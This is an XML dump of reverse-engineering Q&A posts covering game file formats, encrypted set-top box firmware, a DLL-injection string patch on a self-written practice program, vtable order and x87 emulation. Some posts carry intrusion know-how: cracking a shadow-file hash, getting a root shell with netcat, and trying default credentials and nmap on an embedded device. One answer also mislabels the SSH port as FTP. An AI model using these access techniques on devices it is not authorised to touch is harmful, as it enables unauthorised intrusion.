ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="2" ParentId="12204" CreationDate="2016-03-21T21:55:15.757" Score="0" Body="&lt;p&gt;Right click on the Stack View and you can sync with ESP or jump to ESP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second instruction may be misleading, but it's subtracting 8 from ESP not adding a very large value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Hex view, as with many windows in IDA, you can use register names instead of a linear address when you use the Go To command. You can press 'G', input 'esp' and press ENTER to jump to ESP. &lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2016-03-21T21:55:15.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostTypeId="2" ParentId="12248" CreationDate="2016-03-21T22:46:54.353" Score="2" Body="&lt;p&gt;I was able to decode the file format of the &lt;code&gt;radix.dat&lt;/code&gt; file, which is mainly a container. It has a very small header, then the binary files concatenated to each other, then metadata directory at the end of the file (the header contains the file offset of the start of this metadata).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the files are just that, binary files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the two entries &lt;code&gt;ObjectBitmaps&lt;/code&gt; and &lt;code&gt;WallBitmaps&lt;/code&gt; are special, they act like directories, and have a collection of files inside themselves. Again, they consist of a small header, concatenated binary files, and a metadata directory. &lt;em&gt;The file offsets in this metadata directory are relative to the outside radix.dat file, not to the Bitmaps file&lt;/em&gt;, so you have to extract those files when you extract the outer file; you can't extract ObjectBitmaps first and hope to extract the individual bitmaps later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;WallBitmaps&lt;/strong&gt; seem to be just a collection of pixels, 1 byte per pixel. The metadata has width and height entries, and in every single case, the size of the embedded file (calculated as distance between the start of the file and the start of the next file) equals width*height. Also, the code from 3dResCmp.exe seems to read 800 bytes from the file first, do some palette stuff, read the rest of the file, convert the rest by replacing stuff with a lookup table, and write the rest of the file. I didn't analyze this code completely, but it seems that it strips the 800 byte header from the file, converts the pixels from the file palette to a generic palette, and saves the pixels only, omitting the header/palette. You might be able to just throw one of your other image files at 3dResCmp for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;&#xA;The &lt;strong&gt;ObjectBitmaps&lt;/strong&gt; are more complicated. The metadata structure is the same, but the size of the binaries does not equal width&lt;em&gt;height. Instead, the binaries seem to start with what looks like coordinate pairs, one per row, 4 bytes per pair; then some pixels, but fewer than (width&lt;/em&gt;height). For example, an Object Bitmap named &lt;code&gt;WeakBio-MineDead1&lt;/code&gt; has 12x16 pixels, and 212 bytes. The binary starts with 16 coordinate pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  64    1541&#xA;  70    2050&#xA;  78    2817&#xA;  89    2817&#xA; 100    2562&#xA; 110    2307&#xA; 119    2562&#xA; 129    2817&#xA; 140    3072&#xA; 152    2817&#xA; 163    2052&#xA; 171    2307&#xA; 180    2051&#xA; 188    1795&#xA; 195    2050&#xA; 203    2304&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which are followed by 148 palette entries -- not enough for 12*16 pixels!&#xA;(I'm not sure these are actually coordinate pairs, as the first x number seems to always be 4 times the number of rows).&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;ObjectBitmap&lt;/strong&gt; data is divided into two parts. The first part has one entry&#xA;per row, denoting the byte position within the pixel map,&#xA;number of &quot;empty&quot; pixels in that row, counted from the left, and number of&#xA;&quot;used&quot; pixels. The second part is the pixel map, and it has 1 byte per pixel,&#xA;just like the wall bitmaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, an object could use a 10(width)x4(height) bitmap and look like&#xA;this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.....XXX..&#xA;..YYXXX...&#xA;..YYX.....&#xA;..Z.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with X, Y and Z being different palette entries, and . being &quot;unused&quot;, i.e.&#xA;transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitmap format for this object would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000    0x10 5 3        ;pixels start at 0x10, 5 unused pixels, 3 used pixels&#xA;0004    0x13 2 5        ;pixels start at 0x13, 2 unused pixels, 5 used pixels&#xA;0008    0x18 2 3&#xA;000C    0x1b 2 1&#xA;0010    58 58 58&#xA;0013    59 59 58 58 58&#xA;0018    59 59 58&#xA;001b    5a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the size of the bitmap can, in this case, not be determined from the&#xA;directory entry alone, as that has only width and height, not the byte size,&#xA;which is generally much lower than (width*height).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When 3dResCmp.exe creates those ObjectBitmaps and WallBitmaps, it does remove the first 800 bytes from the input files, which means that even if you extract the files from radix.dat, you will not be able to put them back into your own level unmodified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, i created a small program that extracts most files from radix.dat, and emits some information about the individual contents of WallBitmaps and ObjectBitmaps. Also, it can display an ascii-art version of an Object Bitmap. Feel free to look into it at &lt;a href=&quot;https://github.com/gbl/RadixDatTool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gbl/RadixDatTool&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-03-26T10:51:18.453" LastActivityDate="2016-03-26T10:51:18.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12267" PostTypeId="1" AcceptedAnswerId="12269" CreationDate="2016-03-22T00:42:53.800" Score="4" ViewCount="5835" Body="&lt;p&gt;I'm trying to extract the firmware from my set-top box (STB) because I realized its port 22 is open and running &lt;a href=&quot;https://wiki.openwrt.org/doc/uci/dropbear&quot; rel=&quot;nofollow&quot;&gt;dropbear&lt;/a&gt;, and I'd like to login to it. Well, because it's there. I've tried &lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt;, but that's coming up blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk apollo_fw4_full_p_1.1.32_nand.bin &#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;&#xA;$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Likewise &lt;a href=&quot;https://bitsum.com/firmware_mod_kit.htm&quot; rel=&quot;nofollow&quot;&gt;Firmware Mod Kit&lt;/a&gt; fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./extract-firmware.sh ../apollo_fw4_full_p_1.1.32_nand.bin &#xA;Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&#xA;&#xA;Preparing tools ...&#xA;Scanning firmware...&#xA;&#xA;Scan Time:     2016-03-21 15:05:55&#xA;Signatures:    193&#xA;Target File:   /home/ob1/apollo_fw4_full_p_1.1.32_nand.bin&#xA;MD5 Checksum:  b100590cbe030628d97e6d39c6f7fde8&#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;&#xA;Extracting 0 bytes of  header image at offset 0&#xA;ERROR: No supported file system found! Aborting...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the &quot;nand&quot; in the filename mean anything?&#xA;Is it encrypted possibly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the file for those interested: &lt;a href=&quot;https://docs.google.com/uc?id=0B9QI-CmVjKHdekdOOU5EWk9rbTQ&amp;amp;export=download&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/uc?id=0B9QI-CmVjKHdekdOOU5EWk9rbTQ&amp;amp;export=download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've scoured for answers and have found none, so I appreciate your input. &lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="4437" LastEditDate="2016-03-24T12:15:32.287" LastActivityDate="2023-07-13T07:56:58.490" Title="Firmware extraction problems - binwalk is blank" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="1" AcceptedAnswerId="12276" CreationDate="2016-03-22T01:44:18.257" Score="4" ViewCount="3454" Body="&lt;p&gt;I'm a novice when it comes to RE but I'm trying to get into it. I have a background in C/C++ so doing the development side of things should be a breeze (aside from when assembly has to be used, im rusty there). I just need to be pointed in the right direction with RE things and will be able to pick things up from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a simple CLI program (HackMe.exe) to practice RE with, using OllyDbg. It just has a string(&quot;change me&quot;) which I'm attempting to change (patch?) via a DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the CLI prog source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;int main(int argc, char** argv) {&#xA;    char* change_me = &quot;change me&quot;;&#xA;&#xA;    while(true) {&#xA;        std::cout &amp;lt;&amp;lt; change_me &amp;lt;&amp;lt; std::endl;&#xA;        Sleep(3000);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the DLL source so far which is bare bone&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;fstream&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;VOID attach();&#xA;&#xA;BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {&#xA;&#xA;    switch(reason) {&#xA;        case DLL_PROCESS_ATTACH: {&#xA;            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&amp;amp;attach, 0, 0, 0);&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&#xA;VOID attach() {&#xA;    // patching code will go here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far what I've done is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attached OllyDbg to running HackMe.exe process&lt;/li&gt;&#xA;&lt;li&gt;Searched for all referenced text strings and followed the &quot;change me&quot; string&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Following the the string brought me to where the string was found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jf5Kw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jf5Kw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So correct me if I'm wrong or not including something but I believe I need to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find the base address of the process and the offset to the string address&lt;/li&gt;&#xA;&lt;li&gt;Patch the memory at base + offset with a new string thats len is == to the original &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So i guess my questions are&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(&quot;HackMe.exe&quot;))? &lt;/li&gt;&#xA;&lt;li&gt;Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe is ran)?&lt;/li&gt;&#xA;&lt;li&gt;How do I find the +offset of the string from the base?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Working end result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;VOID attach();&#xA;&#xA;BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {&#xA;&#xA;    switch(reason) {&#xA;        case DLL_PROCESS_ATTACH: {&#xA;            attach();&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&#xA;VOID attach() {&#xA;&#xA;    DWORD old;&#xA;    DWORD base   = (DWORD)GetModuleHandle(NULL);&#xA;    DWORD offset = 0x01CC80;&#xA;&#xA;    char* ptr = reinterpret_cast&amp;lt;char*&amp;gt;(base + offset);&#xA;    const size_t length   = 10;&#xA;    char buffer[ length ] = &quot;changed:)&quot;;&#xA;&#xA;    VirtualProtect(ptr, length, PAGE_EXECUTE_READWRITE, &amp;amp;old);&#xA;    memcpy(ptr, buffer, length);&#xA;    VirtualProtect(ptr, length, old, nullptr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12100" LastEditorUserId="12100" LastEditDate="2016-03-22T23:09:30.523" LastActivityDate="2016-03-22T23:09:30.523" Title="Patching a string using DLL injection and OllyDbg" Tags="|ollydbg|c++|memory|dll-injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="2" ParentId="12267" CreationDate="2016-03-22T05:17:27.237" Score="5" Body="&lt;p&gt;The firmware image is likely to be encrypted.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VjA8q.png&quot; alt=&quot;Entropy Scan&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://binvis.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Entropy scan&lt;/a&gt; reveals that it is mostly comprised of random bytes which happens if the firmware is compressed and/or encrypted. Since the binary lacks common compression magic signatures, it is most likely to be encrypted.&lt;/p&gt;&#xA;&lt;p&gt;To decrypt the firmware you need to obtain more information about the product that uses this firmware. You can refer to &lt;strong&gt;&lt;a href=&quot;http://web.archive.org/web/20190820225242/http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; blog post for some ideas.&lt;/p&gt;&#xA;&lt;p&gt;As you say port 22 is open running a FTP service you can try connecting to it with default user/pass combos. You can try finding other open ports via nmap.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="44345" LastEditDate="2023-07-13T07:56:58.490" LastActivityDate="2023-07-13T07:56:58.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12270" PostTypeId="1" CreationDate="2016-03-22T07:52:20.120" Score="1" ViewCount="1709" Body="&lt;p&gt;I am researching an embedded device which runs QNX. I can login via telnet as a user but don't have the root password (in parallel I am running oclHashCat with the hash from the shadow file but it takes a lot of time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get access via GDB and can execute commands in root context so I was thinking that &lt;code&gt;netcat&lt;/code&gt; would be an easy way to get a root shell (&lt;code&gt;shell&lt;/code&gt; command in GDB doesn't appear to work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found netcat binaries from netbsd for armle but when I try to run it I get the error &lt;code&gt;can't access shared library&lt;/code&gt;. Not sure what it's missing but my guess is glibc (searching for .so with hex editor shows libc.so libdl.so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct that it's looking for &lt;code&gt;libc.so&lt;/code&gt; and &lt;code&gt;libdl.so&lt;/code&gt; ? Where to find these for QNX armle?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-09-18T22:19:51.440" Title="run netcat on qnx (armle)" Tags="|embedded|qnx|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="1" AcceptedAnswerId="12273" CreationDate="2016-03-22T07:59:26.733" Score="3" ViewCount="389" Body="&lt;p&gt;I loaded a shared library (I don't know the source of that) and made a header for that with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Tester {&#xA;    public:&#xA;    virtual void test();&#xA;    virtual void replay();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;different from this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Tester {&#xA;    public:&#xA;    virtual void replay();&#xA;    virtual void test();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15486" LastEditorUserId="15486" LastEditDate="2016-03-22T10:47:44.077" LastActivityDate="2016-03-23T16:52:21.850" Title="Do I have to consider virtual function declaration order?" Tags="|ida|vtables|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12272" PostTypeId="1" AcceptedAnswerId="12277" CreationDate="2016-03-22T10:14:30.920" Score="19" ViewCount="2726" Body="&lt;p&gt;I'm trying to get useful results using the &lt;a href=&quot;https://github.com/uxmal/reko&quot;&gt;Reko decompiler&lt;/a&gt; on a dusty old MS-DOS binary compiled with Borland C++ that appears to be performing a lot of floating point arithmetic. I'm seeing code sequences like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ax,0x4D8C    ; segment selector&#xA;mov es,ax&#xA;int 0x3C         ; call x87 emulator??&#xA;fld dword ptr [&amp;lt;some address&amp;gt;]&#xA;sub sp,8&#xA;int 0x39         ; call x87 emulator??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...etc. A cursory search engine search strongly hints that the &lt;code&gt;int&lt;/code&gt; instructions are invoking an x87 emulation library; when the x87 is present, it lets the coprocessor execute the instruction, but when it isn't, the emulator emulates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am well familiar with how to &lt;em&gt;implement&lt;/em&gt; FPU operations, with shifts and whatnot. What I'd like to find out more about is the protocol of these invocations to the emulator. I have been unable to locate documentation. Perhaps one of the members of the RE community does?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="14025" LastEditDate="2016-03-22T11:33:24.047" LastActivityDate="2016-03-22T13:42:23.457" Title="What is the protocol for x87 floating point emulation in MS-DOS?" Tags="|x86|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostTypeId="2" ParentId="12271" CreationDate="2016-03-22T10:28:20.273" Score="2" Body="&lt;p&gt;The order of virtual functions is significant; altering the order in the source code will alter the order in the generated machine code. In your example, the two source samples will generate different machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: using the sample code provided by @tathanhdinh below, MSVC generates the two vtables as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;   COMDAT ??_7B@@6B@&#xA;CONST   SEGMENT&#xA;??_7B@@6B@ DD   FLAT:??_R4B@@6B@            ; B::`vftable'&#xA;    DD  FLAT:?bust@B@@UAEXXZ&#xA;    DD  FLAT:?test@B@@UAEXXZ&#xA;CONST   ENDS&#xA;;   COMDAT ??_7A@@6B@&#xA;CONST   SEGMENT&#xA;??_7A@@6B@ DD   FLAT:??_R4A@@6B@            ; A::`vftable'&#xA;    DD  FLAT:?test@A@@UAEXXZ&#xA;    DD  FLAT:?bust@A@@UAEXXZ&#xA;CONST   ENDS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the order of the member function pointers in the two vtables differs. As I mentioned, the order in which virtual functions matters in at least one compiler.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2016-03-23T16:52:21.850" LastActivityDate="2016-03-23T16:52:21.850" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostTypeId="2" ParentId="12271" CreationDate="2016-03-22T10:42:38.760" Score="0" Body="&lt;p&gt;i dont think you mean using the same class name if so it may generate redefinition error if not  the order should be considered &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;class A {&#xA;    public:&#xA;    virtual void test() { cout&amp;lt;&amp;lt;&quot;class A test virtual function \n&quot;; }&#xA;    virtual void bust() { cout&amp;lt;&amp;lt;&quot;class A bust virtual function \n&quot;; }&#xA;};&#xA;class B {&#xA;    public:&#xA;    virtual void bust() { cout&amp;lt;&amp;lt;&quot;class B bust virtual function \n&quot;; }&#xA;    virtual void test() { cout&amp;lt;&amp;lt;&quot;class B test virtual function \n&quot;; }&#xA;};&#xA;int main(void) {&#xA;    A *foo = nullptr;&#xA;    B *bla = nullptr;&#xA;    try{        &#xA;    foo = new(A);&#xA;    bla = new(B);&#xA;    foo-&amp;gt;bust();&#xA;    bla-&amp;gt;bust();&#xA;    delete foo;&#xA;    delete bla;&#xA;    } catch(...){&#xA;    delete foo;&#xA;    delete bla; &#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled &amp;amp; linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo /Zi /EHsc /O1 /analyze /W4 *.cpp /link /release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed will result in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;classmagic.exe&#xA;class A bust virtual function&#xA;class B bust virtual function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-03-22T10:42:38.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostTypeId="2" ParentId="12270" CreationDate="2016-03-22T12:44:43.413" Score="0" Body="&lt;p&gt;I'm not pretty sure, but I think that these files can be obtained with QNX IDE installation, which, according to the site, can be downloaded and installed for evaluation purposes. Binary utilities and libs (again, as far as I remember) resides under target folder, in a subfolder named by the architecture.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-03-22T12:44:43.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12276" PostTypeId="2" ParentId="12268" CreationDate="2016-03-22T13:30:52.447" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(&quot;HackMe.exe&quot;))?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A process doesn't have a base offset; I believe you mean the base address of the primary module. To get that address, you would use &lt;code&gt;GetModuleHandle(NULL)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe&#xA;  is ran)?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; will show you the base address of each loaded module.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;How do I find the +offset of the string from the base?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are countless ways to do it, but an easy way is to use a tool like IDA or &lt;a href=&quot;http://www.mcafee.com/us/downloads/free-tools/bintext.aspx&quot; rel=&quot;noreferrer&quot;&gt;BinText&lt;/a&gt; to find the string's virtual address, and then subtract from that the default base address of HackMe.exe.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-22T13:30:52.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12277" PostTypeId="2" ParentId="12272" CreationDate="2016-03-22T13:42:23.457" Score="29" Body="&lt;p&gt;Nothing like asking a question on stackexchange, only to be humiliated by finding the answer (or at least part of it). After finding the following source file, it started making sense:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/alexhenrie/wine/blob/master/dlls/krnl386.exe16/fpu.c&quot;&gt;https://github.com/alexhenrie/wine/blob/master/dlls/krnl386.exe16/fpu.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On old 8086 machines, where there is no trap for invalid instructions, the Elders of the Past came up with an emulation strategy. All x87 instructions are in the &lt;code&gt;D8&lt;/code&gt;-&lt;code&gt;DF&lt;/code&gt; range (8 possible values) followed by modrm and other goodness. If you prefix the instruction with a &lt;code&gt;FWAIT&lt;/code&gt; (opcode &lt;code&gt;9B&lt;/code&gt;), you guarantee that there always be two bytes of code before the modrm byte, looking something like &lt;code&gt;9B Dx&lt;/code&gt;. However, instead of emitting those two bytes, the compiler emits &lt;code&gt;CD xx&lt;/code&gt;, where xx ranges &lt;code&gt;34&lt;/code&gt;-&lt;code&gt;3B&lt;/code&gt; (8 possible values). As we all know, CD is the encoding of the x86 &lt;code&gt;int&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the CPU executes the &lt;code&gt;int&lt;/code&gt; instruction and arrives at the handler for &lt;code&gt;34&lt;/code&gt;-&lt;code&gt;3B&lt;/code&gt;, it vectors off to the interrupt handler.  If there isn't an x87 coprocessor available, the handler will emulate the floating point instruction, maintaining the coprocessor state in memory. If however there &lt;em&gt;is&lt;/em&gt; an x87 coprocessor present, the handler will peek at the return stack to see where the &lt;code&gt;int&lt;/code&gt; instruction is located, and &lt;em&gt;overwrite it&lt;/em&gt; with the appropriate &lt;code&gt;9B Dx&lt;/code&gt; byte sequence, corresponding to the &lt;code&gt;CD 3x&lt;/code&gt; byte sequence. It then returns control to the patched instruction so that it gets executed. Now that it has been patched, the instruction is an actual FPU instruction, and future executions of the instructions will no longer take the long detour through the emulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation for how to deal with interrupt &lt;code&gt;3E&lt;/code&gt; is still not forthcoming. However, for the time being, I have enough information to implement x87 emulation support in the Reko decompiler.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2016-03-22T13:42:23.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12278" PostTypeId="2" ParentId="12271" CreationDate="2016-03-22T14:02:30.797" Score="0" Body="&lt;p&gt;Since I do not think the order of virtual functions in source could affect their order in machine code, I try to give a counter example. The main idea is first to give a &lt;em&gt;layout&lt;/em&gt; for the &lt;code&gt;vtable&lt;/code&gt; of a base class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct A&#xA;{&#xA;  void virtual test() {};&#xA;  void virtual replay() {};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then using two classes which inherit &lt;code&gt;A&lt;/code&gt;, but with different order of virtual functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct B : public A&#xA;{&#xA;  void virtual test() {};&#xA;  void virtual replay() {};&#xA;}&#xA;&#xA;struct C : public A&#xA;{&#xA;  void virtual replay() {};&#xA;  void virtual test() {};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the order of virtual functions in &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; affects their machine code order, then their pointers in corresponding &lt;code&gt;vtables&lt;/code&gt; should be different. But the following generated machine code (I have used &lt;code&gt;clang&lt;/code&gt; as the compiler) shows that they are not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:0804888C ; vtable for B&#xA;.rodata:0804888C _ZTV1B db    0                   ; DATA XREF: B::B(void)+1Co&#xA; ...&#xA;.rodata:08048894 dd offset _ZN1B4testEv           ; B::test(void)&#xA;.rodata:08048898 dd offset _ZN1B6replayEv         ; B::replay(void)&#xA; ...&#xA; ... &#xA;.rodata:08048904 ; vtable for C&#xA;.rodata:08048904 _ZTV1C db    0                   ; DATA XREF: C::C(void)+1Co&#xA; ...&#xA;.rodata:0804890C dd offset _ZN1C4testEv           ; C::test(void)&#xA;.rodata:08048910 dd offset _ZN1C6replayEv         ; C::replay(void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The order of virtual functions in &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; are indeed the same (and respects one in &lt;code&gt;A&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2016-03-22T14:02:30.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
